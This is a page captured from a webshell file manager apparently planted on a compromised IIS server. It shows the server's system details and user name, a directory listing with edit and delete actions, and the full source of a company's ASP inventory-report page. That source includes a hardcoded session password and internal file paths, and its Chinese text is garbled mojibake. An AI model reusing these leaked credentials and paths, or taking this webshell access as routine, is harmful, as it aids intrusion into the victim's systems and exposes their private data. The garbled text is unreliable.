Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>���ô�ASC���ʹ�˾���ֹ�˾���ͳ��</title>
<%
loginnumber=session("Webpassed")
if loginnumber<>"%asc365com%" then
response.End()
end if 
%>
</head>
<body>
<div align="center">
  <%
if session("asc365allpassword")<>"8879365" then response.end
'-------------------------------------------------------------
Function YYMMDD(YMD)
Y_Y = DatePart("yyyy",YMD)
M_M = DatePart("m",YMD) : If Len(M_M) < 2 Then M_M = "0" & M_M
D_D = DatePart("d",YMD) : If Len(D_D) < 2 Then D_D = "0" & D_D
H_H = DatePart("h",YMD) : If Len(H_H) < 2 Then H_H = "0" & H_H
N_N = DatePart("n",YMD) : If Len(N_N) < 2 Then N_N = "0" & N_N
S_S = DatePart("s",YMD) : If Len(S_S) < 2 Then S_S = "0" & S_S
YYMMDD = Y_Y & M_M & D_D & H_H & N_N & S_S
end function
'-------------------------------------------------------------
function  Adddot(NUM) 
	if isnumeric(NUM)=0 then NUM=0
	if instr(NUM,".")=0 then 
		NUM=NUM & ".00"
	else
		tem=split(NUM,".")
		if len(tem(1))<2 then tem(1)=tem(1) &"0"
		if  len(tem(1))>2  then  tem(1)=left(tem(1),2) 
		NUM=tem(0) &"."& tem(1)
	end if
	if len(NUM)<4 then
		NUM="0" & NUM
	end if   
	Adddot=NUM
end function
'-------------------------------------------------------------
set fs=Server.CreateObject("Scripting.FileSystemObject")

Dim JYZB(10,1)
JYZB_JS=0

Dim ZBTJ(10,16)
FileNamee="YWBMDM"
If (fs.FileExists(Server.MapPath(FileNamee)))=true then
	Set f=fs.OpenTextFile(Server.MapPath(FileNamee), 1)
	do while f.AtEndOfStream = false
		YY=trim(f.ReadLine)
		if left(YY,2)="##" then 
			str=Split(YY,"|")
			JYZB(JYZB_JS,0)=str(1)				'ҵ�������
			JYZB(JYZB_JS,1)=str(2)				'ҵ��������
			JYZB_JS = JYZB_JS+1
		end if
	loop
end if
f.Close
Set f=Nothing

for i=0 to JYZB_JS-1
	ZBTJ(i,0)=JYZB(i,0)
	ZBTJ(i,1)=JYZB(i,1) & "��Ӫ��Ʒ�ϼ�"
	for j=2 to 16
		ZBTJ(i,j)=0
	next
next
'----------------------------------------------------------------
Dim DL(1000,16)
'0-����|1-����Ӣ��������|
'2-(��)��棤|3-��;��|4-�ϼ�|			------���ô���׶���
'5-(��)��棤|6-��;��|7-�ϼ�|			------������ɼ����
'8-(��)��棤|9-��;��|10-�ϼ�|			------���ô��¸绪���
'11-(��)��棤|12-��;��|13-�ϼ�|		------�й���̨���
'14-(��)��棤|15-��;��|16-�ϼ�|		------�ܹ�˾������

'16-(��)��棤|17-��;��|18-�ϼ�|19-(��)���$|20-��;$|21-�ϼ�|22-���$		------���������ܿ��
for i=0 to 100
	for j=2 to 16
		DL(i,j)=0
	next
next
DIM HJ(16)
Dim ML(1000,999)		'ML(999,999)
Dim QQ(50)		'QQ(50)	��Ʒ��ϸ
Dim MM(16)		'��Ʒ���
Dim ZT_CANADA(999,1)
Dim ZT_LOSUSA(999,1)
Dim ZT_WGHCAN(999,1)
'Dim ZT_MAMUSA(999,1)
Dim ZT_CANADA_js
Dim ZT_LOSUSA_js
Dim ZT_WGHCAN_js
'Dim ZT_MAMUSA_js
ZT_CANADA_js=0
ZT_LOSUSA_js=0
ZT_WGHCAN_js=0
'ZT_MAMUSA_js=0
Temp=Server.MapPath("..\..\Admin\ZT_CANADA.ss") 		'���ô�ASC���ʹ�˾��Ʒ���׶����ѯ�ļ�
If (fs.FileExists(Temp))=true then
	Set f=fs.OpenTextFile(Temp, 1)
	do while f.AtEndOfStream = false
		WW=trim(f.ReadLine)
		if len(WW)<>0 then 
			str=split(ww,"|")
			ZT_CANADA(ZT_CANADA_js,0)=str(0)
			ZT_CANADA(ZT_CANADA_js,1)=str(1)
			ZT_CANADA_js=ZT_CANADA_js+1
		end if
	loop
	f.Close
	Set f=Nothing
end if
'---------------------------
Temp=Server.MapPath("..\..\Admin\ZT_LOSUSA.ss") 		'���ô�ASC���ʹ�˾��Ʒ������ɼ�����ѯ�ļ�
If (fs.FileExists(Temp))=true then
	Set f=fs.OpenTextFile(Temp, 1)
	do while f.AtEndOfStream = false
		WW=trim(f.ReadLine)
		if len(WW)<>0 then 
			str=split(ww,"|")
			ZT_LOSUSA(ZT_LOSUSA_js,0)=str(0)
			ZT_LOSUSA(ZT_LOSUSA_js,1)=str(1)
			ZT_LOSUSA_js=ZT_LOSUSA_js+1
		end if
	loop
	f.Close
	Set f=Nothing
end if
'---------------------------
Temp=Server.MapPath("..\..\Admin\ZT_WGHCAN.ss") 		'���ô�ASC���ʹ�˾��Ʒ���ô��¸绪����ѯ�ļ�
If (fs.FileExists(Temp))=true then
	Set f=fs.OpenTextFile(Temp, 1)
	do while f.AtEndOfStream = false
		WW=trim(f.ReadLine)
		if len(WW)<>0 then 
			str=split(ww,"|")
			ZT_WGHCAN(ZT_WGHCAN_js,0)=str(0)
			ZT_WGHCAN(ZT_WGHCAN_js,1)=str(1)
			ZT_WGHCAN_js=ZT_WGHCAN_js+1
		end if
	loop
	f.Close
	Set f=Nothing
end if
'---------------------------
'Temp=Server.MapPath("..\..\Admin\ZT_MAMUSA.ss") 		'���ô�ASC���ʹ�˾��Ʒ���������ܿ���ѯ�ļ�
'If (fs.FileExists(Temp))=true then
'	Set f=fs.OpenTextFile(Temp, 1)
'	do while f.AtEndOfStream = false
'		WW=trim(f.ReadLine)
'		if len(WW)<>0 then 
'			str=split(ww,"|")
'			ZT_MAMUSA(ZT_MAMUSA_js,0)=str(0)
'			ZT_MAMUSA(ZT_MAMUSA_js,1)=str(1)
'			ZT_MAMUSA_js=ZT_MAMUSA_js+1
'		end if
'	loop
'	f.Close
'	Set f=Nothing
'end if
'----------------ȡ�ô�Ŀ¼------------------
Set f=fs.OpenTextFile(Server.MapPath("../../Admin/Product_Sort"), 1)
do while f.AtEndOfStream = false
	WW=trim(f.ReadLine)
	if len(WW)<>0 and left(ww,2)<>"//" then 
		temp=split(ww,"#")
		I=trim(temp(0))
		if I<1000 then
			DL(I,0)=trim(temp(0))
			if InStr(temp(1),",") then
				str1=split(temp(1),",")
				DL(I,1)=trim(str1(0))
			else
				DL(I,1)=temp(1)
			end if
		end if
	end if
loop
f.Close
Set f=Nothing
'DL(600,1)=""
'DL(999,1)=""
'--------------------ȡ������Ŀ¼----------------------
for i= 0 to 1000
	if len(DL(i,1))>0 then 
		ii=i 
		if len(ii)<3 then ii="0"& ii
		if len(ii)<3 then ii="0"& ii
		'SSath = Server.MapPath("../../Admin/"& ii& "/")
		If (fs.FileExists(Server.MapPath("../../Admin/"& ii & "/Productlist.inc")))=true then
			Set f=fs.OpenTextFile(Server.MapPath("../../Admin/"& ii & "/Productlist.inc"), 1)
			do while f.AtEndOfStream = false
				WW=trim(f.ReadLine)
				if left(WW,1)="@" then
					str=split(ww,"|")
					str(1)=trim(str(1))
					ML(left(str(1),3),right(str(1),3))=str(1)
				end if 	
			loop
			f.Close
			Set f=Nothing
		end if
	end if                              
next
'response.write
'--------------------��ȡ�����Ϣ---------------------
'Temp=Server.MapPath("..\..\Admin\StoreDis") 		'���ô�ASC���ʹ�˾��Ʒ����ѯĿ¼
'If fs.FolderExists(Temp) <> true Then 
'	set fm1=fs.CreateFolder(Temp)
'	set fm1=nothing
'else   
'	set fo=fs.GetFolder(Server.MapPath("..\..\Admin\StoreDis")) 		'���ô�ASC���ʹ�˾��Ʒ����ѯĿ¼
'	for each x in fo.files
'		NN=x.Name
'		if right(NN,4)=".sss" then
'			XX=Server.MapPath("../../Admin/StoreDis/" & NN)
'			If (fs.FileExists(XX))=true then
'				Set f=fs.OpenTextFile(XX, 1)
'				YY=trim(f.ReadLine)
'				if len(YY)>0 then
'					str=Split(YY,"|")
'					i=str(0)
'					for j=0 to 22
'						DL(i,j)=str(j)
'					next
'				end if
'				f.Close
'				Set f=Nothing
'			end if                    
'		end if
'	next
'end if
'-----------------------
for i=0 to 1000
	if len(DL(i,1))>0 then
		YY=request.Cookies("DL"&DL(i,0))
		if len(YY)>0 then
			str=Split(YY,"|")
			k=str(0)
			for j=0 to 16
				DL(k,j)=str(j)
			next
		end if
	end if
next
'-----------------------
for i=0 to JYZB_JS-1
	YY=request.Cookies("ZB"&ZBTJ(i,0))
	if len(YY)>0 then
		str=Split(YY,"|")
		'k=str(0)
		for j=0 to 16
			ZBTJ(i,j)=str(j)
		next
	end if
next
'-----------------------------------------------------
'TXTFile=Server.MapPath("../../Admin/store.txt")
'set fw=fs.CreateTextFile(TXTFile,true)
'fw.writeline "��Ʒ����|��ƷӢ������|��Ʒ��������|������λ|���ÿ��|���޿��|���Ͽ��|�ܿ��|��С���|��;����|���ۣ�|����$|ϵ��|�ο���$|���$"
for i= 0 to 1000
	if trim(request.form("T" & i))="��ѯ" then
		'response.Cookies("TB"& i)=1
		for j=2 to 16
			DL(i,j)=0
		next
		for j=0 to 999
			if len(ML(i,j))>0 then
				HH=left(ML(i,j),3)
				LL=right(ML(i,j),3)
				Tech=Server.MapPath("../../Admin/"& HH & "/"& LL &"/Tech.inc")		'��Ʒ��ϸ

for ii =0 to 27
					QQ(ii)=""
				next
				If (fs.FileExists(Tech))=true then
					Set f=fs.OpenTextFile(Tech, 1)
					for ii =0 to 27
						QQ(ii)=trim(f.ReadLine)		'ֻ��28��
					next
					f.Close
					Set f=Nothing
				end if
				'-----------------------------------------
				If lcase(QQ(27))="y" then
					Tech= Server.MapPath("../../Admin/"& HH & "/"& LL &"/Store.inc")    '��ȡ�ֿ���Ϣ
					for jj =0 to 10
						mm(jj)=""
					next
					ZBMC=""
					jj=0
'					SJKC=0     'ʵ�ʿ�� = �ܿ��-����-����
					If (fs.FileExists(Tech))=true then
						Set f=fs.OpenTextFile(Tech, 1)
						do while f.AtEndOfStream = false
							mm(jj)=trim(f.ReadLine)
							jj=jj+1
							if jj=11 then exit do		'ֻ��11��
						loop
						f.Close
						Set f=Nothing
						ZBMC=mm(9)
'						if len(mm(1))=0 then mm(1)=0		'��С���
'						if len(mm(2))=0 then mm(2)=0		'����
'						if len(mm(3))=0 then mm(3)=0		'�ܿ��
'						if isnumeric(mm(3))=false then mm(3)=0		'�ܿ��
'						if len(mm(10))=0 then mm(10)=0		'����
'						SJKC=0     'ʵ�ʿ�� = �ܿ��-����-����
'						if isnumeric(mm(3))=true and isnumeric(MM(10)) and isnumeric(MM(2))=true then SJKC = MM(3)*1-MM(10)*1-MM(2)*1
					end if
					if len(mm(3))=0 then mm(3)=0		'�ܿ��
					if isnumeric(mm(3))=false then mm(3)=0		'�ܿ��
					'---------------------ȡ����--------------------
					p9=0
					GGprice=Server.MapPath("../../TJGSCPXX/CPXX_" & HH & ".txt")
					If (fs.FileExists(GGPrice))=true then
						Set f=fs.OpenTextFile(GGprice, 1)
						do while f.AtEndOfStream = false
							YY=trim(f.ReadLine)
							str=split(YY,"|")
						
							if str(0)=ML(i,j) then
								p9=str(15)
								exit do
							end if
						loop
						f.Close: Set f=Nothing
						if isnumeric(p9)=false then p9=0
					end if
'					GGprice=Server.MapPath("../../Admin/"& HH & "/"& LL &"/GGPrice.inc")
'					If (fs.FileExists(GGPrice))=true then
'						Set f=fs.OpenTextFile(GGprice, 1)
'						P0=trim(f.ReadLine) 'code
'						P1=trim(f.ReadLine) '������
'						P2=trim(f.ReadLine) '��С������
'						P3=trim(f.ReadLine) '����
'						P4=trim(f.ReadLine) '����US$
'						if isnumeric(p4)=false then p4=0
'						P5=trim(f.ReadLine) '����------------------
'						P6=trim(f.ReadLine) '���------------------
'						if isnumeric(p6)=false then p6=0
'						P7=trim(f.ReadLine) '��λ
'						P8=trim(f.ReadLine) '��վ����---------------
'						P9=trim(f.ReadLine) '����RMB
'						if isnumeric(p9)=false then p9=0
''						P10=trim(f.ReadLine) '����ע
''						P11=trim(f.ReadLine) '��ע--------------------
'						f.Close: Set f=Nothing
''						if len(p5)=0 then p5=0  
''						CKJ=""
''						if isnumeric(p5)=true and isnumeric(p4)=true then  CKJ= Round(p5 * p4,2)
'					else
'						P0=""				'code
'						P1=""				'������
'						P2=1				'��С������
'						P3=""				'����
'						P4=0				'����US$
'						P5=0				'����------------------
'						P6=0				'���------------------
'						P7=""				'��λ
'						P8=""				'��վ����---------------
'						P9=0				'����RMB
''						P10=""				'����ע
''						P11=""				'��ע--------------------
''						CKJ=""
'					end if  
					'-----------------------------------------
					ZTSL=0		'��;����
					for ij=0 to ZT_CANADA_js
						if ZT_CANADA(ij,0)=ML(i,j) then
							ZTSL=ZT_CANADA(ij,1)
							exit for
						end if
					next
					'-----------------------------------------
					DL(i,2)=Round((DL(i,2)*1+mm(3)*p9),2)			'(��)��棤
					DL(i,3)=Round((DL(i,3)*1+ZTSL*p9),2)			'��;��
					DL(i,4)=Round((DL(i,4)*1+mm(3)*p9+ZTSL*p9),2)	'�ϼ�
					'DL(i,5)=Round((DL(i,5)*1+mm(3)*p4),2)			'(��)���$
					'DL(i,6)=Round((DL(i,6)*1+ZTSL*p4),2)			'��;$
					'DL(i,7)=Round((DL(i,7)*1+mm(3)*p4+ZTSL*p4),2)	'�ϼ�
					'DL(i,8)=Round((DL(i,8)*1+mm(3)*p6+ZTSL*p6),2)	'���$
					'===========================��Ӫ��������===========================
					for Z_i=0 to JYZB_JS-1
						if JYZB(Z_i,1)=ZBMC then
							ZBTJ(Z_i,2)=Round((ZBTJ(Z_i,2)*1+mm(3)*p9),2)			'(��)��棤
							ZBTJ(Z_i,3)=Round((ZBTJ(Z_i,3)*1+ZTSL*p9),2)			'��;��
							ZBTJ(Z_i,4)=Round((ZBTJ(Z_i,4)*1+mm(3)*p9+ZTSL*p9),2)	'�ϼ�
							exit for
						end if
					next
					'===========================��ɼ�===========================
					Tech= Server.MapPath("../../../ASC365_Los/Admin/"& HH & "/"& LL &"/Store.inc")    '��ȡ�ֿ���Ϣ
					for jj =0 to 10
						mm(jj)=""
					next
					jj=0
'					SJKC=0     'ʵ�ʿ�� = �ܿ��-����-����
					If (fs.FileExists(Tech))=true then
						Set f=fs.OpenTextFile(Tech, 1)
						do while f.AtEndOfStream = false
							mm(jj)=trim(f.ReadLine)
							jj=jj+1
							if jj=11 then exit do		'ֻ��11��
						loop
						f.Close
						Set f=Nothing
'						if len(mm(1))=0 then mm(1)=0		'��С���
'						if len(mm(2))=0 then mm(2)=0		'����
'						if len(mm(3))=0 then mm(3)=0		'�ܿ��
'						if isnumeric(mm(3))=false then mm(3)=0		'�ܿ��
'						if len(mm(10))=0 then mm(10)=0		'����
'						SJKC=0     'ʵ�ʿ�� = �ܿ��-����-����
'						if isnumeric(mm(3))=true and isnumeric(MM(10)) and isnumeric(MM(2))=true then SJKC = MM(3)*1-MM(10)*1-MM(2)*1
					end if
					if len(mm(3))=0 then mm(3)=0		'�ܿ��
					if isnumeric(mm(3))=false then mm(3)=0		'�ܿ��
					'-----------------------------------------
					ZTSL=0		'��;����
					for ij=0 to ZT_LOSUSA_js
						if ZT_LOSUSA(ij,0)=ML(i,j) then
							ZTSL=ZT_LOSUSA(ij,1)
							exit for
						end if
					next
					'-----------------------------------------
'					response.write i&"|"&j &"<br>"
					DL(i,5)=Round((DL(i,5)*1+mm(3)*p9),2)
					DL(i,6)=Round((DL(i,6)*1+ZTSL*p9),2)
					DL(i,7)=Round((DL(i,7)*1+mm(3)*p9+ZTSL*p9),2)
					'DL(i,12)=Round((DL(i,12)*1+mm(3)*p4),2)
					'DL(i,13)=Round((DL(i,13)*1+ZTSL*p4),2)
					'DL(i,14)=Round((DL(i,14)*1+mm(3)*p4+ZTSL*p4),2)
					'DL(i,15)=Round((DL(i,15)*1+mm(3)*p6+ZTSL*p6),2)
					'===========================��Ӫ��������===========================
					for Z_i=0 to JYZB_JS-1
						if JYZB(Z_i,1)=ZBMC then
							ZBTJ(Z_i,5)=Round((ZBTJ(Z_i,5)*1+mm(3)*p9),2)			'(��)��棤
							ZBTJ(Z_i,6)=Round((ZBTJ(Z_i,6)*1+ZTSL*p9),2)			'��;��
							ZBTJ(Z_i,7)=Round((ZBTJ(Z_i,7)*1+mm(3)*p9+ZTSL*p9),2)	'�ϼ�
							exit for
						end if
					next
					'===========================�¸绪===========================
					Tech= Server.MapPath("../../../ASC365_VAN/Admin/"& HH & "/"& LL &"/Store.inc")    '��ȡ�ֿ���Ϣ
					for jj =0 to 10
						mm(jj)=""
					next
					jj=0
'					SJKC=0     'ʵ�ʿ�� = �ܿ��-����-����
					If (fs.FileExists(Tech))=true then
						Set f=fs.OpenTextFile(Tech, 1)
						do while f.AtEndOfStream = false
							mm(jj)=trim(f.ReadLine)
							jj=jj+1
							if jj=11 then exit do		'ֻ��11��
						loop
						f.Close
						Set f=Nothing
'						if len(mm(1))=0 then mm(1)=0		'��С���
'						if len(mm(2))=0 then mm(2)=0		'����
'						if len(mm(3))=0 then mm(3)=0		'�ܿ��
'						if isnumeric(mm(3))=false then mm(3)=0		'�ܿ��
'						if len(mm(10))=0 then mm(10)=0		'����
'						SJKC=0     'ʵ�ʿ�� = �ܿ��-����-����
'						if isnumeric(mm(3))=true and isnumeric(MM(10)) and isnumeric(MM(2))=true then SJKC = MM(3)*1-MM(10)*1-MM(2)*1
					end if
					if len(mm(3))=0 then mm(3)=0		'�ܿ��
					if isnumeric(mm(3))=false then mm(3)=0		'�ܿ��
					'-----------------------------------------
					ZTSL=0		'��;����
					for ij=0 to ZT_WGHCAN_js
						if ZT_WGHCAN(ij,0)=ML(i,j) then
							ZTSL=ZT_WGHCAN(ij,1)
							exit for
						end if
					next
					'-----------------------------------------
'					response.write i&"|"&j &"<br>"
					DL(i,8)=Round((DL(i,8)*1+mm(3)*p9),2)
					DL(i,9)=Round((DL(i,9)*1+ZTSL*p9),2)
					DL(i,10)=Round((DL(i,10)*1+mm(3)*p9+ZTSL*p9),2)
					'DL(i,12)=Round((DL(i,12)*1+mm(3)*p4),2)
					'DL(i,13)=Round((DL(i,13)*1+ZTSL*p4),2)
					'DL(i,14)=Round((DL(i,14)*1+mm(3)*p4+ZTSL*p4),2)
					'DL(i,15)=Round((DL(i,15)*1+mm(3)*p6+ZTSL*p6),2)
					'===========================��Ӫ��������===========================
					for Z_i=0 to JYZB_JS-1
						if JYZB(Z_i,1)=ZBMC then
							ZBTJ(Z_i,8)=Round((ZBTJ(Z_i,8)*1+mm(3)*p9),2)			'(��)��棤
							ZBTJ(Z_i,9)=Round((ZBTJ(Z_i,9)*1+ZTSL*p9),2)			'��;��
							ZBTJ(Z_i,10)=Round((ZBTJ(Z_i,10)*1+mm(3)*p9+ZTSL*p9),2)	'�ϼ�
							exit for
						end if
					next
					'===========================�й���̨===========================
					Tech= Server.MapPath("../../../ASC365_YYT/Admin/"& HH & "/"& LL &"/Store.inc")    '��ȡ�ֿ���Ϣ
					for jj =0 to 10
						mm(jj)=""
					next
					jj=0
'					SJKC=0     'ʵ�ʿ�� = �ܿ��-����-����
					If (fs.FileExists(Tech))=true then
						Set f=fs.OpenTextFile(Tech, 1)
						do while f.AtEndOfStream = false
							mm(jj)=trim(f.ReadLine)
							jj=jj+1
							if jj=11 then exit do		'ֻ��11��
						loop
						f.Close
						Set f=Nothing
'						if len(mm(1))=0 then mm(1)=0		'��С���
'						if len(mm(2))=0 then mm(2)=0		'����
'						if len(mm(3))=0 then mm(3)=0		'�ܿ��
'						if isnumeric(mm(3))=false then mm(3)=0		'�ܿ��
'						if len(mm(10))=0 then mm(10)=0		'����
'						SJKC=0     'ʵ�ʿ�� = �ܿ��-����-����
'						if isnumeric(mm(3))=true and isnumeric(MM(10)) and isnumeric(MM(2))=true then SJKC = MM(3)*1-MM(10)*1-MM(2)*1
					end if
					if len(mm(3))=0 then mm(3)=0		'�ܿ��
					if isnumeric(mm(3))=false then mm(3)=0		'�ܿ��
					'-----------------------------------------
					ZTSL=0		'��;����
					'for ij=0 to ZT_WGHCAN_js
					'	if ZT_WGHCAN(ij,0)=ML(i,j) then
					'		ZTSL=ZT_WGHCAN(ij,1)
					'		exit for
					'	end if
					'next
					'-----------------------------------------
'					response.write i&"|"&j &"<br>"
					DL(i,11)=Round((DL(i,11)*1+mm(3)*p9),2)
					DL(i,12)=Round((DL(i,12)*1+ZTSL*p9),2)
					DL(i,13)=Round((DL(i,13)*1+mm(3)*p9+ZTSL*p9),2)
					'DL(i,12)=Round((DL(i,12)*1+mm(3)*p4),2)
					'DL(i,13)=Round((DL(i,13)*1+ZTSL*p4),2)
					'DL(i,14)=Round((DL(i,14)*1+mm(3)*p4+ZTSL*p4),2)
					'DL(i,15)=Round((DL(i,15)*1+mm(3)*p6+ZTSL*p6),2)
					'===========================������===========================
'					Tech= Server.MapPath("../../../ASC365_Usa/Admin/"& HH & "/"& LL &"/Store.inc")    '��ȡ�ֿ���Ϣ
'					for jj =0 to 10
'						mm(jj)=""
'					next
'					jj=0
''					SJKC=0     'ʵ�ʿ�� = �ܿ��-����-����
'					If (fs.FileExists(Tech))=true then
'						Set f=fs.OpenTextFile(Tech, 1)
'						do while f.AtEndOfStream = false
'							mm(jj)=trim(f.ReadLine)
'							jj=jj+1
'							if jj=11 then exit do		'ֻ��11��
'						loop
'						f.Close
'						Set f=Nothing
''						if len(mm(1))=0 then mm(1)=0		'��С���
''						if len(mm(2))=0 then mm(2)=0		'����
''						if len(mm(3))=0 then mm(3)=0		'�ܿ��
''						if isnumeric(mm(3))=false then mm(3)=0		'�ܿ��
''						if len(mm(10))=0 then mm(10)=0		'����
''						SJKC=0     'ʵ�ʿ�� = �ܿ��-����-����
''						if isnumeric(mm(3))=true and isnumeric(MM(10)) and isnumeric(MM(2))=true then SJKC = MM(3)*1-MM(10)*1-MM(2)*1
'					end if
'					if len(mm(3))=0 then mm(3)=0		'�ܿ��
'					if isnumeric(mm(3))=false then mm(3)=0		'�ܿ��
'					'-----------------------------------------
'					GGprice=Server.MapPath("../../../ASC365_Usa/Admin/"& HH & "/"& LL &"/GGPrice.inc")  
'					If (fs.FileExists(GGPrice))=true then
'						Set f=fs.OpenTextFile(GGprice, 1)
'						P0=trim(f.ReadLine) 'code
'						P1=trim(f.ReadLine) '������
'						P2=trim(f.ReadLine) '��С������
'						P3=trim(f.ReadLine) '����
'						P4=trim(f.ReadLine) '����US$
'						if isnumeric(p4)=false then p4=0
'						P5=trim(f.ReadLine) '����------------------
'						P6=trim(f.ReadLine) '���------------------
'						if isnumeric(p6)=false then p6=0
'						P7=trim(f.ReadLine) '��λ
'						P8=trim(f.ReadLine) '��վ����---------------
'						P9=trim(f.ReadLine) '����RMB
'						if isnumeric(p9)=false then p9=0
''						P10=trim(f.ReadLine) '����ע
''						P11=trim(f.ReadLine) '��ע--------------------
'						f.Close: Set f=Nothing
''						if len(p5)=0 then p5=0  
''						CKJ=""
''						if isnumeric(p5)=true and isnumeric(p4)=true then  CKJ= Round(p5 * p4,2)
'					else
'						P0=""				'code
'						P1=""				'������
'						P2=1				'��С������
'						P3=""				'����
'						P4=0				'����US$
'						P5=0				'����------------------
'						P6=0				'���------------------
'						P7=""				'��λ
'						P8=""				'��վ����---------------
'						P9=0				'����RMB
''						P10=""				'����ע
''						P11=""				'��ע--------------------
''						CKJ=""
'					end if  
'					'-----------------------------------------
'					ZTSL=0		'��;����
'					for ij=0 to ZT_MAMUSA_js
'						if ZT_MAMUSA(ij,0)=ML(i,j) then
'							ZTSL=ZT_MAMUSA(ij,1)
'							exit for
'						end if
'					next
'					'-----------------------------------------
''					response.write i&"|"&j &"<br>"
'					DL(i,16)=Round((DL(i,16)*1+mm(3)*p9),2)
'					DL(i,17)=Round((DL(i,17)*1+ZTSL*p9),2)
'					DL(i,18)=Round((DL(i,18)*1+mm(3)*p9+ZTSL*p9),2)
'					DL(i,19)=Round((DL(i,19)*1+mm(3)*p4),2)
'					DL(i,20)=Round((DL(i,20)*1+ZTSL*p4),2)
'					DL(i,21)=Round((DL(i,21)*1+mm(3)*p4+ZTSL*p4),2)
'					DL(i,22)=Round((DL(i,22)*1+mm(3)*p6+ZTSL*p6),2)
					'===========================��Ӫ��������===========================
					for Z_i=0 to JYZB_JS-1
						if JYZB(Z_i,1)=ZBMC then
							ZBTJ(Z_i,11)=Round((ZBTJ(Z_i,11)*1+mm(3)*p9),2)			'(��)��棤
							ZBTJ(Z_i,12)=Round((ZBTJ(Z_i,12)*1+ZTSL*p9),2)			'��;��
							ZBTJ(Z_i,13)=Round((ZBTJ(Z_i,13)*1+mm(3)*p9+ZTSL*p9),2)	'�ϼ�
							exit for
						end if
					next
					'===========================�ܹ�˾������===========================
					DL(i,14)=DL(i,2)*1+DL(i,5)*1+DL(i,8)*1+DL(i,11)*1
					DL(i,15)=DL(i,3)*1+DL(i,6)*1+DL(i,9)*1+DL(i,12)*1
					DL(i,16)=DL(i,4)*1+DL(i,7)*1+DL(i,10)*1+DL(i,13)*1
					'===========================��Ӫ��������===========================
					for Z_i=0 to JYZB_JS-1
						if JYZB(Z_i,1)=ZBMC then
							ZBTJ(Z_i,14)=ZBTJ(Z_i,2)*1+ZBTJ(Z_i,5)*1+ZBTJ(Z_i,8)*1+ZBTJ(Z_i,11)*1
							ZBTJ(Z_i,15)=ZBTJ(Z_i,3)*1+ZBTJ(Z_i,6)*1+ZBTJ(Z_i,9)*1+ZBTJ(Z_i,12)*1
							ZBTJ(Z_i,16)=ZBTJ(Z_i,4)*1+ZBTJ(Z_i,7)*1+ZBTJ(Z_i,10)*1+ZBTJ(Z_i,13)*1
							exit for
						end if
					next
				end if
			end if
		next
'		Temp=Server.MapPath("..\..\Admin\StoreDis\"& i & ".sss") 		'���ô�ASC���ʹ�˾��Ʒ����ѯ�ļ�
'		Set f=fs.CreateTextFile(Temp,true)
		WW=""
		for ii=0 to 16
			WW=WW & DL(i,ii) & "|"
		next
'		f.WriteLine (WW)
'		f.Close
'		Set f=Nothing
		'-------------
		response.Cookies("DL"& DL(i,0))=WW
		'----------------���澭Ӫ��������-------------
		for jj=0 to JYZB_JS-1
			WW=""
			for ii=0 to 16
				WW=WW & ZBTJ(jj,ii) & "|"
			next
			response.Cookies("ZB"& ZBTJ(jj,0))=WW
		next
		'-------------------------------------------
		exit for
	end if
next
if request.form("B1")="����" then
	'-----------------------------------------------------------------------
	Temp=Server.MapPath("..\..\Admin\KJ_KCXS") 		'��ơ�����桢����ͳ��
	If fs.FolderExists(Temp) <> true Then 
		set fm1=fs.CreateFolder(Temp)
		set fm1=nothing
	end if   
	'-----------------------------------------------------------------------
	RQ=YYMMDD(now)
	RQ=left(RQ,8)
	Temp=Server.MapPath("..\..\Admin\KJ_KCXS") & "\" & left(RQ,4)		'��ơ�����桢����ͳ�ơ���һ��һ��Ŀ¼
	If fs.FolderExists(Temp) <> true Then 
		set fm1=fs.CreateFolder(Temp)
		set fm1=nothing
	end if
	Temp=Server.MapPath("..\..\Admin\KJ_KCXS") & "\" & left(RQ,4)	& "\" & left(RQ,6)	'��ơ�����桢����ͳ�ơ���һ��һ��һ��Ŀ¼
	If fs.FolderExists(Temp) <> true Then 
		set fm1=fs.CreateFolder(Temp)
		set fm1=nothing
		fs.CopyFile Server.MapPath("..\..\Admin\KJ_KCXS\uploadTester.asp"),temp &"/"
		fs.CopyFile Server.MapPath("..\..\Admin\KJ_KCXS\freeASPUpload.asp"),temp &"/"
	end if
	'-----------------------------------------------------------------------
	Temp=Server.MapPath("..\..\Admin\KJ_KCXS") & "\" & left(RQ,4)	& "\" & left(RQ,6) & "\" & RQ & "HZ.txt"
	Set f=fs.CreateTextFile(Temp,true)
	'-----------------------
	for i=0 to 100
		if len(DL(i,1))>0 then
			WW=""
			for ii=0 to 16
				WW=WW & DL(i,ii) & "|"
			next
			f.WriteLine(WW)
		end if
	next
	'-----------------------
	for i=0 to JYZB_JS-1
		WW=""
		for ii=0 to 16
			WW=WW & ZBTJ(i,ii) & "|"
		next
		f.WriteLine("##" & WW)
	next
	'-----------------------
	f.Close: Set f=Nothing
end if
%> 
    <font color="#FF0000"><b><span style="font-size: 18pt">���ô�ASC���ʹ�˾���ֹ�˾���ͳ��</span></b></font>
  <br>
  <br>
<form method="post" action="">
  <table border="1" width="1480" height="20" bordercolor="#f0f0f0" style="border-collapse: collapse">
      <tr>
		  <td height="20" width="40" bgcolor="#DDDDDD" align="center" rowspan="2"></td>
          <td height="20" width="40" bgcolor="#DDDDDD" align="center" rowspan="2">����</td>
		  <td height="20" width="200" bgcolor="#DDDDDD" align="center" rowspan="2">��������</td>
		  <td height="20" width="240" bgcolor="#EEFFFF" align="center" colspan="3">���ô���׶���</td>
		  <td height="20" width="240" bgcolor="#DDDDDD" align="center" colspan="3">������ɼ����</td>
		  <td height="20" width="240" bgcolor="#FFFFEE" align="center" colspan="3">���ô��¸绪���</td>
		  <td height="20" width="240" bgcolor="#FFEEFF" align="center" colspan="3">�й���̨���</td>
		  <td height="20" width="240" bgcolor="#DDDDDD" align="center" colspan="3">������</td>
      </tr>
      <tr>
		  <td height="20" width="80" bgcolor="#EEFFFF" align="center">��棤</td>
		  <td height="20" width="80" bgcolor="#EEFFFF" align="center">��;��</td>
		  <td height="20" width="80" bgcolor="#EEFFFF" align="center">�ϼƣ�</td>

